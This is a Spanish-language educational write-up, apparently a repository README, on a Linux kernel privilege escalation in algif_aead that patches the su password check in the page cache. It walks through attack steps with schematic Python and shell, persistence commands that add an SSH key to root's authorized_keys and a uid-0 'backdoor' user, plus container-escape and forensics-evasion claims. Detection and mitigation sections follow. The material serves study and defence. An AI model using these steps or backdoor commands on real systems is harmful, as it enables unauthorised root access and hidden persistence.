CVE-2026-31431 — Copy Fail: Escalada de Privilegios en el Kernel de Linux

Análisis educativo de la vulnerabilidad Copy Fail en el kernel de Linux.
Cubre el mecanismo de corrupción de memoria, el flujo de escalada de privilegios, el escape de contenedores y las contramedidas defensivas.

⚠️ Aviso Legal

Este repositorio es solo para fines educativos y de investigación.
No utilice esta información en sistemas que no le pertenezcan o para los que no tenga permiso explícito por escrito para realizar pruebas.
Todos los fragmentos de código y comandos se proporcionan estrictamente para ayudar a comprender los internals del kernel de Linux.

Tabla de Contenidos

• Resumen
• Tarjeta de Identidad de la Vulnerabilidad
• Conceptos Previos
• Cómo Funciona el Fallo
• Flujo de Ataque Completo
• Por Qué Es Tan Peligroso
• Observación Práctica Segura
• Defensa y Detección
• Comparación con CVEs Similares
• Glosario
• Referencia Rápida

Resumen

CVE-2026-31431, también conocida como Copy Fail, es una vulnerabilidad del kernel de Linux en la que un usuario local sin privilegios puede escalar a root sin necesidad de permisos especiales.

El ataque opera enteramente en RAM. El archivo en disco nunca se toca, lo que significa que los hashes de archivos permanecen limpios, las marcas de tiempo no cambian y los registros de auditoría no registran nada. Cuando el sistema se reinicia, toda la evidencia desaparece.

Usuario normal  →  explota el fallo algif_aead  →  sobrescribe la caché de páginas  →  root

Propiedades clave:

• ✅ Sin condición de carrera — funciona de forma fiable cada vez
• ✅ Disco intacto — la forensia no encuentra nada
• ✅ Solo requiere una cuenta de usuario local estándar
• ✅ Permite el escape de contenedores mediante la caché de páginas compartida

Tarjeta de Identidad de la Vulnerabilidad

Conceptos Previos

/usr/bin/su — El Binario Objetivo

su (Switch User) permite a un usuario cambiar a otra cuenta, normalmente root. Es un binario SetUID:

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = indicador SetUID

El indicador s significa que cuando cualquier usuario ejecuta este binario, se ejecuta con los permisos de root. Esto lo convierte en un objetivo de alto valor.

Su lógica interna (simplificada):

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

El objetivo del ataque: omitir por completo la comprobación password_correct().

RAM y Caché de Páginas

Cuando Linux lee un archivo del disco, guarda una copia en RAM llamada caché de páginas.

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← esta es la caché de páginas

Buffer y Buffer Seguro

AF_ALG y algif_aead

AF_ALG (Algorithm Family) es una interfaz de socket de Linux que permite a los programas de espacio de usuario usar funciones criptográficas del kernel (AES, SHA, AEAD).

socket(AF_ALG, SOCK_SEQPACKET, 0);  // abrir un socket criptográfico

algif_aead es el módulo del kernel que maneja el cifrado AEAD (por ejemplo, AES-GCM) a través de AF_ALG. La vulnerabilidad reside en su paso de copia de datos.

AF_ALG  →  algif_aead  →  motor AES-GCM  →  buffer de salida
                                ↑
                           EL FALLO ESTÁ AQUÍ

Cómo Funciona el Fallo

El fallo no está en la lógica de cifrado. Está en el manejo de memoria — se selecciona la región de memoria incorrecta durante una copia de datos.

Flujo normal (sin fallo):

destination = safe_output_buffer;       // ubicación correcta
memcpy(destination, user_data, size);   // datos escritos de forma segura

Flujo vulnerable (con fallo):

destination = buffer + WRONG_OFFSET;    // FALLO: ¡puntero incorrecto!
memcpy(destination, user_data, size);   // los datos caen en la caché de páginas

Se suponía que el kernel escribiría en el buffer de salida seguro. Debido a un offset mal calculado, escribe en la caché de páginas — que contiene la copia en RAM de /usr/bin/su.

Qué cambia el atacante en memoria

El binario contiene código máquina x86-64. El atacante apunta al salto condicional que activa el fallo de autenticación:

Antes del ataque:

cmp  eax, 0     ; comprobar valor de retorno
jne  0x1234     ; si falla → saltar a denegar
call give_root  ; conceder root

Después del ataque (2 bytes cambiados en RAM):

cmp  eax, 0     ; igual
90 90           ; NOP NOP ← salto reemplazado, ¡comprobación omitida!
call give_root  ; la CPU llega aquí directamente

NOP = No Operation. La CPU no hace nada y avanza — omitiendo por completo la comprobación de autenticación.

Flujo de Ataque Completo

Mentalidad Pre-Ataque

"Solo necesito una cuenta de usuario normal. El kernel cometerá el error por sí mismo.
El disco permanece limpio. Sin registros. Funciona siempre."

Paso 0 — Reconocimiento

whoami && id
# uid=1000(user) gid=1000(user) ← usuario normal

uname -r
# 6.1.0-generic ← dentro del rango vulnerable

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmado

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponible')"

Paso 1 — Cargar el Archivo en la Caché de Páginas

cat /usr/bin/su > /dev/null
# /usr/bin/su ahora está cargado en la caché de páginas ✓

Paso 2 — Ingeniería Inversa del Binario

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Buscando: la dirección de la función de autenticación, el salto condicional jne/jnz y su offset de bytes exacto.

Paso 3 — Abrir Socket AF_ALG

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Paso 4 — Enviar Payload Diseñado

payload = b'\x90\x90'  # NOP NOP — reemplaza el salto condicional
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Paso 5 — El Kernel Sobrescribe la Caché de Páginas

# Internamente en el kernel (simplificado):
destination = buffer + crafted_offset  # FALLO: puntero incorrecto
memcpy(destination, payload, 2)        # bytes NOP escritos en la caché de páginas
# La comprobación de contraseña de /usr/bin/su ahora es NOP NOP en RAM

Paso 6 — Disparador

su
# Password: (cualquier cosa — o simplemente presionar Enter)
# root@victim:/# ← ROOT OBTENIDO

Qué sucedió: El sistema ejecutó /usr/bin/su desde RAM. La comprobación de contraseña era NOP. La CPU la omitió. give_root() se llamó directamente.

Paso 7 — Persistencia (Opcional)

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Por Qué Es Tan Peligroso

Sin Condición de Carrera

Disco Intacto — La Forensia Falla

Después del ataque, un investigador forense encuentra:

sha256sum /usr/bin/su       # MISMO hash que antes ← disco intacto
diff /usr/bin/su backup/su  # Sin diferencias
grep -r 'attack' /var/log/  # Nada
auditd logs                 # No se registró escritura de archivo

Al reiniciar, la RAM se vacía — toda la evidencia desaparece.

Escape de Contenedores

Los contenedores aíslan el espacio de usuario — pero el kernel es compartido, y la caché de páginas es memoria del kernel.

Kernel del Host
├── Contenedor 1 (espacio de usuario aislado)
│   └── El atacante está aquí
├── Contenedor 2
└── Proceso del Host

Caché de Páginas: COMPARTIDA entre todos los contenedores y el host

Ruta de escape: El atacante en el Contenedor 1 lee /usr/bin/su del host → dispara el fallo → el binario del host en RAM se modifica → ejecutar su en el host otorga root en la máquina host.

Afectados: Docker, Podman, LXC, Kubernetes (nodos compartidos) — si el kernel del host es vulnerable.

Observación Práctica Segura

Estos son ejercicios de observación solo. Use un entorno de laboratorio (Docker + VM con kernel antiguo) para cualquier prueba.

Observar la Caché de Páginas

free -h                      # anotar el valor de Cache antes
cat /usr/bin/su > /dev/null  # cargar el archivo en la caché de páginas
free -h                      # Cache aumenta ligeramente

Ver el Mapeo de Memoria del Binario

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Inspeccionar el Binario

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Ver el Ensamblador (gdb)

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Hash de Disco vs RAM

sha256sum /usr/bin/su
# Igual que el disco normalmente — difiere después de un ataque exitoso
# La comparación con /proc/PID/mem requiere root

Defensa y Detección

Mitigación Inmediata

Prioridad 1 — Actualización del Kernel (mejor solución)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Prioridad 2 — Deshabilitar algif_aead

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Prioridad 3 — Controles de Acceso
Aplique perfiles seccomp con SystemCallFilter en servicios systemd para restringir el acceso al socket AF_ALG para procesos no confiables.

Detección

Detección en Tiempo Real con eBPF

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERTA: sendmsg algif_aead por PID %d (usuario %d)\n", pid, uid);
  }
'

Endurecimiento de Contenedores

# Ejecutar con perfil seccomp (bloquea AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image

• Use perfiles seccomp que bloqueen la creación de sockets AF_ALG
• Use gVisor o aislamiento de kernel similar para cargas de trabajo de alto riesgo
• Evite contenedores privilegiados
• Configure el sistema de archivos raíz de solo lectura dentro de los contenedores
• Aplique los Estándares de Seguridad de Pods de Kubernetes — política restricted

Comparación con CVEs Similares

CVE-2026-31431 combina sigilo (disco sin cambios) + fiabilidad (sin condición de carrera) + escape de contenedores — lo que la hace excepcionalmente peligrosa dentro de su clase.

Glosario

Referencia Rápida

Flujo de Ataque de un Vistazo

Lista de Verificación de Defensa

• Actualizar el kernel a la versión parcheada inmediatamente
• Deshabilitar el módulo algif_aead si no es necesario
• Habilitar monitoreo a nivel de kernel con eBPF o Falco
• Actualizar los perfiles seccomp de los contenedores para bloquear AF_ALG
• Programar comprobaciones de integridad de binarios basadas en memoria
• Revisar y actualizar el plan de respuesta a incidentes

La Frase Resumen

En CVE-2026-31431, el módulo criptográfico de Linux (algif_aead) tiene un fallo de copia de memoria que hace que los datos controlados por el atacante caigan en la caché de páginas en lugar del buffer de salida seguro — modificando silenciosamente un binario SetUID en RAM — permitiendo que cualquier usuario local obtenga acceso root sin dejar ni una sola huella en el disco.

Este documento está preparado para la comprensión educativa de los internals de seguridad del kernel de Linux.
— Solo con Fines Educativos —

📄 Informe Completo (PDF)

👉 Descargar Informe Completo